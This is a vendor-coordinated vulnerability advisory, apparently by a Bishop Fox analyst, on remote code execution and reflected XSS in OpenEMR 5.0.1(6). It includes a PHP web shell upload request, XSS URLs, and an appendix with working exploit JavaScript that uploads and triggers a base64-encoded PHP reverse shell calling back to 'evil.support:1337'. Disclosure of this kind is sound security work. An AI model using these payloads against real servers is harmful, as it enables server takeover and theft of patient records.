OpenEMR 5.0.1(6) - RCE and XSS

by Chris Davis, on Sep 10, 2019 5:43:00 AM

ADVISORY SUMMARY

OpenEMR is a widely used open source medical records management tool. The latest version at the time of this research was 5.0.1(6), older versions are believed but unconfirmed to be affected.

Impact

The OpenEMR application is used globally to manage millions of patient records. Successful exploitation of the identified vulnerabilities would lead to server compromise and would allow an administrative attacker to execute code on the underlying server. In both situations, sensitive patient information would be at risk.

Risk Level

High and Medium

Affected Vendor

Product Vendor

Product Name

Affected Version

OpenEMR OpenEMR EHR 5.0.1(6)

 

Vulnerabilities List:

Solution

Update to the latest version - version 5.0.2. 

Credits

Chris Davis, Security Analyst, Bishop Fox - cdavis@bishopfox.com

Timeline

  1. 02/17/2019: Initial discovery
  2. 02/21/2019: Contact with vendor
  3. 09/10/2019: Coordinated publication

VULNERABILITIES

Arbitrary Remote Code Execution

The OpenEMR application is affected by one instance of remote code execution (RCE) that would allow attackers to execute arbitrary code. The vulnerability could be exploited by administrative users, leading to complete server compromise.

CVE ID

Security Risk

Impact

Access Vector

CVE-2019-8371 High Code Execution Remote


Further Details

  • Vulnerability: CWE-94
  • CVSS Base Score: 9.1
  • CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Administrative users could modify files within the OpenEMR application web root by using the Administration File Management functionality, which allowed PHP code to be added to the files to create custom letter templates. To gain command execution on the web server a PHP web shell was uploaded, as shown below:

POST /openemr/interface/super/manage_site_files.php HTTP/1.1 Host: localhost …omitted for brevity… -----------------------------466827610997816061597388451 Content-Disposition: form-data; name="form_filename" letter_templates/custom_pdf.php -----------------------------466827610997816061597388451 Content-Disposition: form-data; name="form_filedata" <?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?> …omitted for brevity…

Figure 1 - PHP Web shell upload 

Uploading a PHP web shell found at https://github.com/artyuum/Simple-PHP-Web-Shell and navigating to the affected /openemr/sites/default/letter_templates/custom_pdf.php endpoint allowed system commands to be executed on the underlying server, as shown below:

07252019_Advisory_OpenEMRImage1

Figure 2 PHP web shell 

The commands executed on the application server from the context of the www-data user.

Cross-Site Scripting

The OpenEMR application is affected by several instances of reflected cross-site scripting (XSS) that would allow attackers to execute arbitrary JavaScript. The vulnerability could be exploited to affect administrative users, leading to complete server compromise. The walkthrough below uses one payload to execute arbitrary code on the server. The exploit code is included in the appendix at the end of this advisory.

CVE ID

Security Risk

Impact

Access Vector

CVE-2019-8368 Medium Code execution Remote


Further Details

  • Vulnerability: CWE-79
  • CVSS Base Score: 6.1
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Instances of reflected cross-site scripting that led to remote code execution (RCE) were found within the OpenEMR application. Enticing an administrative user to click a malicious link would trigger the XSS. This was demonstrated at the facility_admin.php endpoint by sending the following GET request:

GET /openemr/interface/usergroup/facility_admin.php?fid=xss%22%3E%3Cscript%20src=%22http://evil.support:8000/expoit.js%22%3E%3C/script%3E HTTP/1.1/

Figure 3 JavaScript payload sent to the server

The initial JavaScript payload executed within the OpenEMR application origin, loading and executing exploit.js, a JavaScript file that uploaded a PHP reverse shell and executed it, as shown below:

07252019_Advisory_OpenEMRImage2

Figure 4 - Reverse shell connection

An unauthenticated attacker could exploit this vulnerability to entice an administrative user to click the maliciously crafted link, which would grant server access to the attacker.

Additional Locations:

http://localhost/openemr/interface/super/rules/library/RulesPlanMappingEventHandlers_ajax.php?action=getPlanStatus&plan_id=%3cimg%20src%3da%20onerror%3dalert(1)%3e

http://localhost/openemr/interface/main/onotes/office_comments_full.php?active=%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20xss&offset=10

http://localhost/openemr/library/dicom_frame.php?web_path=x'%3e%3cscript%3ealert(1)%3c%2fscript%3e

Appendix A - Exploit Code

XSS Exploit Code to Gain Remote Code Execution (RCE)

An attacker could use the following payload to obtain a reverse shell:

// XSS to RCE payload
// Function to retrieve CSRF Token
getCsrfToken = async () => {
const xhr = new XMLHttpRequest();
xhr.responseType = "document";
xhr.open("GET", "/openemr/interface/super/manage_site_files.php", true);
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
doc = xhr.response;
const csrfToken = doc.getElementsByName("csrf_token_form")[0].value
uploadShell(csrfToken);
console.log(csrfToken);
}
};
xhr.send();
}

// Function to upload php reverse shell code
uploadShell = async (csrfToken) =>{
var formdata = new FormData();
formdata.append("form_filename", "letter_templates/custom_pdf.php");
/*generated with msfvenom -p php/reverse_php lhost=evil.support lport=1337
Base64 encoded to avoid issues with special charectors */
const shell ="<?php eval(base64_decode('ICAvKjw/cGhwIC8qKi8KICAgICAgQGVycm9yX3JlcG9ydGluZygwKTsKICAgICAgQHNldF90aW1lX2xpbWl0KDApOyBAaWdub3JlX3VzZXJfYWJvcnQoMSk7IEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwogICAgICAkZGlzPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwogICAgICBpZighZW1wdHkoJGRpcykpewogICAgICAgICRkaXM9cHJlZ19yZXBsYWNlKCcvWywgXSsvJywgJywnLCAkZGlzKTsKICAgICAgICAkZGlzPWV4cGxvZGUoJywnLCAkZGlzKTsKICAgICAgICAkZGlzPWFycmF5X21hcCgndHJpbScsICRkaXMpOwogICAgICB9ZWxzZXsKICAgICAgICAkZGlzPWFycmF5KCk7CiAgICAgIH0KCiAgICAkaXBhZGRyPSdldmlsLnN1cHBvcnQnOwogICAgJHBvcnQ9MTMzNzsKCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdRaHdnQVlDS0MnKSl7CiAgICAgIGZ1bmN0aW9uIFFod2dBWUNLQygkYyl7CiAgICAgICAgZ2xvYmFsICRkaXM7CgogICAgICBpZiAoRkFMU0UgIT09IHN0cnBvcyhzdHJ0b2xvd2VyKFBIUF9PUyksICd3aW4nICkpIHsKICAgICAgICAkYz0kYy4iIDI+JjFcbiI7CiAgICAgIH0KICAgICAgJEVDZkJxUj0naXNfY2FsbGFibGUnOwogICAgICAkYXBJZGFTWD0naW5fYXJyYXknOwoKICAgICAgaWYoJEVDZkJxUigncGFzc3RocnUnKWFuZCEkYXBJZGFTWCgncGFzc3RocnUnLCRkaXMpKXsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBhc3N0aHJ1KCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJEVDZkJxUigncHJvY19vcGVuJylhbmQhJGFwSWRhU1goJ3Byb2Nfb3BlbicsJGRpcykpewogICAgICAgICRoYW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KCdwaXBlJywncicpLGFycmF5KCdwaXBlJywndycpLGFycmF5KCdwaXBlJywndycpKSwkcGlwZXMpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSl7CiAgICAgICAgICAkby49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOwogICAgICAgIH0KICAgICAgICBAcHJvY19jbG9zZSgkaGFuZGxlKTsKICAgICAgfWVsc2UKICAgICAgaWYoJEVDZkJxUignZXhlYycpYW5kISRhcElkYVNYKCdleGVjJywkZGlzKSl7CiAgICAgICAgJG89YXJyYXkoKTsKICAgICAgICBleGVjKCRjLCRvKTsKICAgICAgICAkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7CiAgICAgIH1lbHNlCiAgICAgIGlmKCRFQ2ZCcVIoJ3NoZWxsX2V4ZWMnKWFuZCEkYXBJZGFTWCgnc2hlbGxfZXhlYycsJGRpcykpewogICAgICAgICRvPXNoZWxsX2V4ZWMoJGMpOwogICAgICB9ZWxzZQogICAgICBpZigkRUNmQnFSKCdzeXN0ZW0nKWFuZCEkYXBJZGFTWCgnc3lzdGVtJywkZGlzKSl7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBzeXN0ZW0oJGMpOwogICAgICAgICRvPW9iX2dldF9jb250ZW50cygpOwogICAgICAgIG9iX2VuZF9jbGVhbigpOwogICAgICB9ZWxzZQogICAgICBpZigkRUNmQnFSKCdwb3BlbicpYW5kISRhcElkYVNYKCdwb3BlbicsJGRpcykpewogICAgICAgICRmcD1wb3BlbigkYywncicpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgaWYoaXNfcmVzb3VyY2UoJGZwKSl7CiAgICAgICAgICB3aGlsZSghZmVvZigkZnApKXsKICAgICAgICAgICAgJG8uPWZyZWFkKCRmcCwxMDI0KTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHBjbG9zZSgkZnApOwogICAgICB9ZWxzZQogICAgICB7CiAgICAgICAgJG89MDsKICAgICAgfQoKICAgICAgICByZXR1cm4gJG87CiAgICAgIH0KICAgIH0KICAgICRub2Z1bmNzPSdubyBleGVjIGZ1bmN0aW9ucyc7CiAgICBpZihpc19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewogICAgICAkcz1AZnNvY2tvcGVuKCJ0Y3A6Ly9ldmlsLnN1cHBvcnQiLCRwb3J0KTsKICAgICAgd2hpbGUoJGM9ZnJlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PVFod2dBWUNLQyhzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgZndyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ3cml0ZSgkcywkb3V0KTsKICAgICAgfQogICAgICBmY2xvc2UoJHMpOwogICAgfWVsc2V7CiAgICAgICRzPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7CiAgICAgIEBzb2NrZXRfY29ubmVjdCgkcywkaXBhZGRyLCRwb3J0KTsKICAgICAgQHNvY2tldF93cml0ZSgkcywic29ja2V0X2NyZWF0ZSIpOwogICAgICB3aGlsZSgkYz1Ac29ja2V0X3JlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PVFod2dBWUNLQyhzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgQHNvY2tldF93cml0ZSgkcywkbm9mdW5jcyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAc29ja2V0X3dyaXRlKCRzLCRvdXQsc3RybGVuKCRvdXQpKTsKICAgICAgfQogICAgICBAc29ja2V0X2Nsb3NlKCRzKTsKICAgIH0K\'))?>"
// Appends shell code and needed data to the upload form
var blob = new Blob([], {type: "application/octet-stream"});
formdata.append("form_filedata", shell);
formdata.append("MAX_FILE_SIZE", "12000000");
formdata.append("form_image", blob, "")
formdata.append("form_dest_filename", "")
formdata.append("form_education", blob, "")
// Appends CSRF token to the form
formdata.append("csrf_token_form", csrfToken);
formdata.append("bn_save", "Save");

// Sends the Form upload
const xhr = new XMLHttpRequest();
xhr.open("POST", "/openemr/interface/super/manage_site_files.php", true);
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
revShellGo();
}
};
xhr.send(formdata);
}
// Calls the endpoint where the shell code is stored to execute
revShellGo = async () => {
const xhr = new XMLHttpRequest();
xhr.open("GET", "/openemr/sites/default/letter_templates/custom_pdf.php", true);
xhr.send();
}
getCsrfToken();

FIGURE 5 - Contents of exploit.js
Vulnerabilities:Cross-site ScriptingArbitrary Remote Code Execution

Comments

Vulnerability Disclosure Policy

Bishop Fox takes security issues very seriously. We believe in coordinated disclosure, and we work closely with vendors and clients to patch vulnerabilities promptly. More on our Disclosure Policy →

Subscribe to Updates